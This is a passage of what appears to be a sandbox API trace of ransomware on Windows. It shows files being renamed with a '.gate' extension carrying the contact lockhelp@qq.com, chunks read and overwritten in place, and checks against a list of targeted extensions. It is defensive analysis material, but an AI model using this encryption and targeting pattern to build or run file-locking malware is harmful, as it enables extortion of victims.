WriteFile (in: hFile=0x370, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xf2, lpOverlapped=0x0) returned 1 [0115.936] SetEndOfFile (hFile=0x370) returned 1 [0115.936] CloseHandle (hObject=0x370) returned 1 [0115.951] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0115.951] SetEndOfFile (hFile=0x314) returned 1 [0116.839] CloseHandle (hObject=0x314) returned 1 [0116.839] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0116.839] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0116.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.840] lstrlenW (lpString=".doc") returned 4 [0116.840] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0116.840] lstrlenW (lpString=".docx") returned 5 [0116.840] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0116.840] lstrlenW (lpString=".pdf") returned 4 [0116.840] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0116.840] lstrlenW (lpString=".xls") returned 4 [0116.840] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0116.840] lstrlenW (lpString=".xlsx") returned 5 [0116.840] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0116.840] lstrlenW (lpString=".ppt") returned 4 [0116.840] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0116.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.840] lstrlenW (lpString=".zip") returned 4 [0116.840] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0116.840] lstrlenW (lpString=".rar") returned 4 [0116.840] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0116.840] lstrlenW (lpString=".bz2") returned 4 [0116.840] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0116.840] lstrlenW (lpString=".7z") returned 3 [0116.840] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0116.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.841] lstrlenW (lpString=".dbf") returned 4 [0116.841] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0116.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.841] lstrlenW (lpString=".1cd") returned 4 [0116.841] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0116.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.841] lstrlenW (lpString=".jpg") returned 4 [0116.841] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0116.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.841] lstrlenW (lpString=".doc") returned 4 [0116.841] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0116.841] lstrlenW (lpString=".docx") returned 5 [0116.841] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0116.841] lstrlenW (lpString=".pdf") returned 4 [0116.841] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0116.841] lstrlenW (lpString=".xls") returned 4 [0116.841] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0116.841] lstrlenW (lpString=".xlsx") returned 5 [0116.841] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0116.841] lstrlenW (lpString=".ppt") returned 4 [0116.841] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0116.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.841] lstrlenW (lpString=".zip") returned 4 [0116.842] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0116.842] lstrlenW (lpString=".rar") returned 4 [0116.842] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0116.842] lstrlenW (lpString=".bz2") returned 4 [0116.842] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0116.842] lstrlenW (lpString=".7z") returned 3 [0116.842] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0116.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.842] lstrlenW (lpString=".dbf") returned 4 [0116.842] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0116.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.842] lstrlenW (lpString=".1cd") returned 4 [0116.842] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0116.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0116.842] lstrlenW (lpString=".jpg") returned 4 [0116.842] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0116.842] lstrcmpiW (lpString1=".msu", lpString2=".gate") returned 1 [0116.842] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33 [0116.842] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0116.843] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=5091790) returned 1 [0116.843] CloseHandle (hObject=0x314) returned 1 [0116.843] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0116.843] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.843] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0116.844] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0116.844] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0x0) returned 1 [0116.844] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0116.844] ReadFile (in: hFile=0x314, lpBuffer=0x3ae1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3ae1058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0116.949] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0116.949] ReadFile (in: hFile=0x314, lpBuffer=0x3b21058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3b21058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0117.065] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.066] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0117.066] ReadFile (in: hFile=0x314, lpBuffer=0x3b61058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3b61058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0117.403] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0117.403] WriteFile (in: hFile=0x314, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2fefca8, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefca8*=0xc012e, lpOverlapped=0x0) returned 1 [0117.754] SetEndOfFile (hFile=0x314) returned 1 [0117.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x43514f0 [0117.759] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0117.759] WriteFile (in: hFile=0x314, lpBuffer=0x43514f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43514f0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.760] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0117.760] WriteFile (in: hFile=0x314, lpBuffer=0x43514f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43514f0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.763] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0117.763] WriteFile (in: hFile=0x314, lpBuffer=0x43514f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43514f0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0117.765] CloseHandle (hObject=0x314) returned 1 [0120.446] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0120.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.447] lstrlenW (lpString=".doc") returned 4 [0120.447] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0120.447] lstrlenW (lpString=".docx") returned 5 [0120.447] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0120.447] lstrlenW (lpString=".pdf") returned 4 [0120.447] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0120.447] lstrlenW (lpString=".xls") returned 4 [0120.447] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0120.447] lstrlenW (lpString=".xlsx") returned 5 [0120.447] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0120.447] lstrlenW (lpString=".ppt") returned 4 [0120.447] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0120.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.447] lstrlenW (lpString=".zip") returned 4 [0120.447] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0120.447] lstrlenW (lpString=".rar") returned 4 [0120.447] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0120.447] lstrlenW (lpString=".bz2") returned 4 [0120.447] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0120.447] lstrlenW (lpString=".7z") returned 3 [0120.447] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0120.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.447] lstrlenW (lpString=".dbf") returned 4 [0120.448] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0120.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.448] lstrlenW (lpString=".1cd") returned 4 [0120.448] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0120.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.448] lstrlenW (lpString=".jpg") returned 4 [0120.448] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0120.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.448] lstrlenW (lpString=".doc") returned 4 [0120.448] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0120.448] lstrlenW (lpString=".docx") returned 5 [0120.448] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0120.448] lstrlenW (lpString=".pdf") returned 4 [0120.448] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0120.448] lstrlenW (lpString=".xls") returned 4 [0120.448] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0120.448] lstrlenW (lpString=".xlsx") returned 5 [0120.448] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0120.448] lstrlenW (lpString=".ppt") returned 4 [0120.448] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0120.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.448] lstrlenW (lpString=".zip") returned 4 [0120.448] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0120.448] lstrlenW (lpString=".rar") returned 4 [0120.448] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0120.448] lstrlenW (lpString=".bz2") returned 4 [0120.448] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0120.448] lstrlenW (lpString=".7z") returned 3 [0120.449] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0120.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.449] lstrlenW (lpString=".dbf") returned 4 [0120.449] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0120.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.449] lstrlenW (lpString=".1cd") returned 4 [0120.449] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0120.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0120.449] lstrlenW (lpString=".jpg") returned 4 [0120.449] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0120.449] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0120.449] lstrlenW (lpString="bootvhd.dll") returned 11 [0120.449] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0121.079] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=99744) returned 1 [0121.079] CloseHandle (hObject=0x374) returned 1 [0121.079] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0121.079] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.333] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.577] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.663] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.663] lstrlenW (lpString=".doc") returned 4 [0121.663] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0121.664] lstrlenW (lpString=".docx") returned 5 [0121.664] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0121.664] lstrlenW (lpString=".pdf") returned 4 [0121.664] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0121.664] lstrlenW (lpString=".xls") returned 4 [0121.664] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0121.664] lstrlenW (lpString=".xlsx") returned 5 [0121.664] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0121.664] lstrlenW (lpString=".ppt") returned 4 [0121.664] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0121.664] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.664] lstrlenW (lpString=".zip") returned 4 [0121.664] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0121.664] lstrlenW (lpString=".rar") returned 4 [0121.664] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0121.664] lstrlenW (lpString=".bz2") returned 4 [0121.664] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0121.664] lstrlenW (lpString=".7z") returned 3 [0121.664] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0121.664] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.664] lstrlenW (lpString=".dbf") returned 4 [0121.664] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0121.664] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.664] lstrlenW (lpString=".1cd") returned 4 [0121.664] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0121.665] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.665] lstrlenW (lpString=".jpg") returned 4 [0121.665] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0121.665] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.665] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.665] lstrlenW (lpString=".doc") returned 4 [0121.665] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0121.665] lstrlenW (lpString=".docx") returned 5 [0121.665] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0121.665] lstrlenW (lpString=".pdf") returned 4 [0121.665] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0121.665] lstrlenW (lpString=".xls") returned 4 [0121.665] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0121.665] lstrlenW (lpString=".xlsx") returned 5 [0121.665] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0121.665] lstrlenW (lpString=".ppt") returned 4 [0121.665] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0121.665] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.665] lstrlenW (lpString=".zip") returned 4 [0121.665] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0121.665] lstrlenW (lpString=".rar") returned 4 [0121.665] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0121.665] lstrlenW (lpString=".bz2") returned 4 [0121.665] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0121.665] lstrlenW (lpString=".7z") returned 3 [0121.665] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0121.666] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.666] lstrlenW (lpString=".dbf") returned 4 [0121.666] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0121.666] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.666] lstrlenW (lpString=".1cd") returned 4 [0121.666] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0121.666] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0121.666] lstrlenW (lpString=".jpg") returned 4 [0121.666] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0121.666] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0121.666] lstrlenW (lpString="kor_boot.ttf") returned 12 [0121.666] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0121.696] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=2373000) returned 1 [0121.696] CloseHandle (hObject=0x370) returned 1 [0121.696] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0121.696] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.698] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0121.698] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.698] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.698] lstrlenW (lpString=".doc") returned 4 [0121.698] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0121.698] lstrlenW (lpString=".docx") returned 5 [0121.698] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0121.698] lstrlenW (lpString=".pdf") returned 4 [0121.698] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0121.698] lstrlenW (lpString=".xls") returned 4 [0121.698] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0121.698] lstrlenW (lpString=".xlsx") returned 5 [0121.699] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0121.699] lstrlenW (lpString=".ppt") returned 4 [0121.699] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0121.699] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.699] lstrlenW (lpString=".zip") returned 4 [0121.699] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0121.699] lstrlenW (lpString=".rar") returned 4 [0121.699] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0121.699] lstrlenW (lpString=".bz2") returned 4 [0121.699] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0121.699] lstrlenW (lpString=".7z") returned 3 [0121.699] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0121.699] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.699] lstrlenW (lpString=".dbf") returned 4 [0121.699] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0121.699] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.699] lstrlenW (lpString=".1cd") returned 4 [0121.699] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0121.699] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.699] lstrlenW (lpString=".jpg") returned 4 [0121.699] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0121.699] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.699] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.699] lstrlenW (lpString=".doc") returned 4 [0121.699] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0121.700] lstrlenW (lpString=".docx") returned 5 [0121.700] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0121.700] lstrlenW (lpString=".pdf") returned 4 [0121.700] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0121.700] lstrlenW (lpString=".xls") returned 4 [0121.700] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0121.700] lstrlenW (lpString=".xlsx") returned 5 [0121.701] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0121.701] lstrlenW (lpString=".ppt") returned 4 [0121.702] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0121.702] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.702] lstrlenW (lpString=".zip") returned 4 [0121.702] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0121.702] lstrlenW (lpString=".rar") returned 4 [0121.702] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0121.702] lstrlenW (lpString=".bz2") returned 4 [0121.702] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0121.702] lstrlenW (lpString=".7z") returned 3 [0121.702] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0121.702] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.702] lstrlenW (lpString=".dbf") returned 4 [0121.702] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0121.702] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.702] lstrlenW (lpString=".1cd") returned 4 [0121.702] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0121.702] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0121.702] lstrlenW (lpString=".jpg") returned 4 [0121.702] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0121.702] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0121.702] lstrlenW (lpString="malgun_boot.ttf") returned 15 [0121.703] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0121.753] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=177414) returned 1 [0121.753] CloseHandle (hObject=0x370) returned 1 [0121.753] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0121.754] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.762] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: 